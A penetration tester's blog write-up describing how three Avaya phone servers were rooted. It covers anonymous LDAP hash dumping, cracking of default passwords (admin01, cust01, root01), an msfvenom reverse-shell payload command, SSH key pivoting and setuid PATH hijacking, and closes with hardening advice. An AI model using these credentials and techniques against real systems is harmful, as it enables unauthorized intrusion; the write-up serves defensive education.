Whenever I see Avaya servers during a penetration test, I know pwnage is coming. Hacking Avaya systems is consistently easy to do. It is not Avaya’s software that is the problem, per se. Rather, companies (or the vendors who install these systems) never seem to harden Avaya systems. During a recent internal penetration test, I managed to gain root access to three different Avaya servers. Each hack is a good example of why system hardening is so important.

Launching the Test

I started the test with a Nessus vulnerability scan. Within seconds, the scan reported something tempting. One of the servers allowed LDAP access (port 389.) I connected and quickly surmised that anonymous LDAP queries were possible. An LDAP system can be a goldmine of data. I had to investigate.

Messing with LDAP

First I checked out the other running services on this system. From the HTTPS interface, I could tell this system was running Avaya software and was most likely a phone system. I fired up JXplorer, a graphical LDAP tool, and connected to the LDAP service. It populated an LDAP tree with a root called “vsp”. There were 14 branches, but the one I was interested in was named “People”. I expanded this branch and saw two entries: “cust” and “admin”.

I clicked on “admin” and determined that it was definitely some kind of user entry. The account had several attributes, including gidNumber, homeDirectory, uid, and userPassword. The password data was visible to me, but it appeared to be hashed. The password string started with {SSHA}, followed by a long string of characters. A quick Google search showed that SSHA was likely SHA1.

I then checked the “cust” user and found that password to also be encrypted.

Weak Passwords

I copied the hashes into a text file and threw them at the John the Ripper password cracking software tool with default settings. Even on my virtual machine, with paltry CPU capabilities, both passwords were cracked in seconds. “Admin” had a password of admin01 and “Cust” was cust01. My eyes rolled. I suspected these are the Avaya default passwords. A quick Google search confirmed this.

I noticed there was another default account, root/root01. I wondered if they changed the root password for this account? I check on this later.

Shell Shenanigans

I tried logging into SSH as “root”, without success. Then I tried “admin”…still nothing. What about “cust”? I gave it a shot, with the following result:

Interesting. It looked like the system had accepted my password and logged me in, but then I was booted out without receiving any kind of shell. Maybe my user did not have a valid shell defined? The OpenSSH client allows you to specify a command to be executed after you log in, so what would happen if I specified the command to be “/bin/bash”? Let’s find out.

Success! I now had a limited shell, but a shell nonetheless. It was time to see if that default root password worked.

I tried issuing the su command to change to root, but it would not let me. I needed a full shell, not this limited one I had. It was time to upgrade my session.

On my attacking machine I issued the following command:

Msfvenom -p linux/x86/meterpreter/reverse_tcp PORT=443 HOST=<MY IP> -f elf -o anitianMet443

That command uses msfvenom to generate a Meterpreter reverse tcp payload as a Linux binary executable file. If it works, it basically acts as a backdoor to the system. I set up my Metasploit listener, then copied the binary over to the victim machine and executed it.

Victory! The full shell allowed me to run the su command, and the root password was still set to the default. Clearly this system was never hardened. Now, where could I go from here?

Let’s Pivot

After some snooping around, I found that this system had root SSH keys set up. That is a juicy find, since SSH keys are often used to allow remote logins with no password. I copied those over to my machine in case they proved useful.

I also found that this system often logs into another system on the same subnet. For kicks I tried logging into that other system:

Seriously? Okay, I guess I rooted a second box in one command, courtesy of the poor system hardening of the first system. I grabbed the /etc/shadow file and found that this box had many more users than the first. I ran it through a password cracker and quickly uncovered five different user passwords, all simple and easily guessable.

I paused for a moment. This is so easy, I thought.  Of course, hacking using default passwords is not exactly a challenge, is it? The next machine proved to be a bit more of a worthy opponent.

Three out of Three?

I found a third Avaya system on the same subnet as the first two. I was once again able to log in as both “cust” and “admin” using the default passwords. This system even gave me a full shell! On top of that, the five passwords I cracked from the last system also worked here, so even if the default passwords were changed, I would have had a way in this time. While I did get a low-level shell, I could not change users to root. It would not accept the default password, so it must have been changed. I was going to have to do this the hard way.

Enumeration and Exploitation

I started by running the linuxprivchecker.py script.  It is able to quickly pull tons of useful information. I spent some time digging through the results looking for any weaknesses, but could not find anything obvious. There were a few potentially exploitable vulnerabilities, but the machine did not have a compiler installed. Not a problem. I statically compiled them on my own box and copied over the binaries. At this point I tried executing them, but none of the exploits were working. In fact, they did not seem to execute at all. I kept getting “permission denied” errors.

It took me some snooping, but it turned out that most of the writable file system was mounted with noexec. Noexec is a flag that tells the system not to allow any binary files to execute from that location. My user’s home directory, /tmp, and /var/tmp, were all mounted as noexec. These are all the standard locations I can write files to, so unfortunately, none of my exploits would even run! I had to try to find another location. Luckily, the linuxprivchecker.py script had already located another world-writable directory that was executable.

/msg/database/vm/tmp/

I copied my exploits over to this directory and they finally started executing. Unfortunately, they still were not working. The machine was likely patched or otherwise not vulnerable. I was on the verge of giving up and calling this box secure.

Setuid

Then I started searching through the list of setuid binaries. A setuid binary is an executable program that runs as the user who owns the file. If the owner happens to be root, then that file will always execute as root, regardless of who runs it. That makes the binary an attractive target for attackers. If it has any security flaws, the attacker may be able to abuse the binary to execute a different program with root privileges. Browsing through the list from linuxprivchecker, I skipped past all of the typical Linux setuid binaries because this system was relatively up to date and those are usually not vulnerable. There were several others that were new to me. They appeared to be related to the Avaya software.

I used the “strings” command to identify any possible weaknesses in these compiled binary files. The strings command will read a binary file and output any printable strings within it. This can be a good way to get an idea of what the program might be doing without having access to the source code or help files. I did not find anything there, but there were a few setuid binaries I did not have permission to read or execute. One such example was the diag program.

This program was readable only to root and to all users within the “voice” group. The cust user was not in this group. The /etc/group file showed three users in this group: cron, sa, and vm. Maybe I could find a way to compromise one of those accounts? If so, I could read this diag file and see if it is vulnerable to attack.

Switching Users

Looking back through the setuid binaries I found an intriguing one called “vmexec”. It was not owned by root, but instead by the “vmexec” user. From the name alone I had a feeling this command’s purpose would be to execute arbitrary commands as this user. Not a great idea. I decided to give it a shot and try spawning a new bash shell.

It worked! I now had shell access as the vexvm user. Perhaps this user had access to those voice-only setuid binaries? It was not listed in the groups file, but maybe there were some outside controls like LDAP that would allow it. I tried running the strings command on diag and it worked! Here is the very end of the output:

At this point, I got very excited. Do you see the problem? The diag command runs as root, no matter who calls it. At some point in the execution of the program, it executes the following:

/bin/nice /usr/bin/ksh /mtce/bin/fscheck > /dev/null

The nice command simply executes some other command with varying priority levels. In this case, it was calling the ksh command. Ksh is just another shell, like sh or bash. The ksh shell was calling another file, fscheck. Just looking at this told me that the most likely scenario was that this setuid binary was calling an external ksh shell script. Shell scripts use environment variables to run, and I can manipulate those myself. It was now very likely that I could exploit this to gain root access.

I opened up the fscheck file and sure enough, it was a ksh shell script. I scrolled through, hoping to find that it called binary files without using the full path. I managed to locate at least one instance of this:

There was at least one call of the rm command without using the full path. Why is this important? To understand this, you need to understand something about the Linux $PATH environment variable.

What is $PATH? Baby Don’t Hurt Me

When you type commands into a Linux shell, you may notice that you rarely have to specify the full path to the command locations. For example, you can just type “ls” and no matter what directory you are in, the ls command works as expected. This is because of the $PATH environment variable. If you type “echo $PATH”, you might get something like this:

/usr/local/bin:/usr/bin/:/bin

That is a list of directories separated by colons. When you type “ls”, the shell searches each of these directories for a command called “ls”. If it finds it, the shell will execute ls. Otherwise, it will not run. Now let’s say you wrote a custom binary file called “testfile” and you wanted to store it in a different location, like /home/root/bin. Normally you would have to type out the entire binary path every time, like this:

/home/root/bin/testfile

Instead, you can just add /home/root/bin to the path like this:

Export PATH=$PATH:/home/root/bin

Now you can just type “testfile” and it will execute no matter where you are in the file system. Nifty! Why is this important? If we look back at the fscheck script, we see that at some point, it calls the “rm” command. Remember that the shell does not know where the rm command resides. It just checks all of the locations listed in $PATH until it finds rm. So what if I do something like this:

Export PATH=/msg/database/vm/tmp

Now the shell does not know where anything is. No matter what command I type, it will only look in /msg/database/vm/tmp. That includes the rm command. See where this is going?

Getting Root

I copied over the meterpreter reverse payload I built earlier and moved it to the /msg/database/vm/tmp directory. Then I renamed it to “rm”. Finally, I changed my PATH variable to “/msg/database/vm/tmp”. Then I executed the original “diag” setuid binary. Here is what that looked like on the Avaya server:

As you can see, it tried running the “df” and “grep” programs, but it could not find them because my PATH was not configured correctly. After that it just appeared to hang. That was a good sign for me, because that is what the meterpreter payload normally does. I had already setup a Metasploit listener on my attacking machine. It was time to see if I got a shell.

Success! All of that hoop-jumping was worth it. I now had root on the final Avaya server. While this sounds like a lot of work, it did not take that long. Just persistence.

Problems and Possible Solutions

There were several problems with this configuration that lead to the compromise of these three systems. First, systems should always be hardened before being placed into production. This means changing the default passwords and installing all security patches. If secure passwords were used, these boxes would have been much more difficult to comprimise.

Second, any LDAP server needs to be locked down. There is no reason that anonymous users should be able to pull password hashes for any user. With the hashes in hand, all an attacker needs is time. Eventually, they will crack the passwords and have access to the system.

Third, I was able to compromise the second host using an SSH key that had no passphrase associated with it. If you need to use SSH keys for logins without passwords, then I recommend using them only for low-privileged accounts. This is a good example of what can happen if you allow root users to log in with just a key. It is roughly equivalent to leaving your root password in a text file in root’s home directory.

The rest of the vulnerabilities appear to be heavily related to Avaya software and configurations. I am honestly not sure if these are default configurations, or if perhaps these issues have been fixed in newer versions. I am not sure what the “/msg/database/vm/tmp” is used for, but if it can be locked down to specific users, that would be for the best. Also, I do not know what the vmexec files is needed for, but it seems like bad security practice to allow any user to execute arbitrary commands as a different user. I would recommend removing this executable entirely, or at least permitting access only to specific users or groups. Finally, using setuid binaries to call shell scripts is a risky move, as evidenced by this attack. I would recommend coding the binary file to perform those same operations if possible, so the attacker cannot manipulate the shell script.

Hacking Avaya, it is frighteningly too easy.

Share This
%d bloggers like this: